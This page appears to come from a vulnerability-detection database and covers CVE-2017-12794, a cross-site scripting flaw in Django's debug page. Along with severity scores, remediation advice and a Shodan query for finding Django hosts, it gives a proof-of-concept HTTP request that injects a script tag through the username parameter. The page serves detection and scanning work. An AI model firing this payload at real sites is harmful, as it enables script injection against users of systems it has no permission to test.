🔙 목록으로 돌아가기

CVE-2017-12794: Django Debug Page - Cross-Site Scripting

TitleDjango Debug Page - Cross-Site Scripting
Authorpikpikcu
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade to a patched version of Django or apply the necessary security patches provided by the Django project.
CVSS Score6.1
EPSS Score0.18768
CVE IDCVE-2017-12794
CWE IDCWE-79
Shodan Querycpe:"cpe:2.3:a:djangoproject:django"
Tags cve2017 cve xss django djangoproject vuln

🔍 Vulnerability Description

Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5 has HTML autoescaping disabled in a portion of the template for the technical 500 debug page. We detected that right circumstances (DEBUG=True) are present to allow a cross-site scripting attack.

🌐 HTTP Request

GET /create_user/?username=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.9
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-12794.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-12794.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A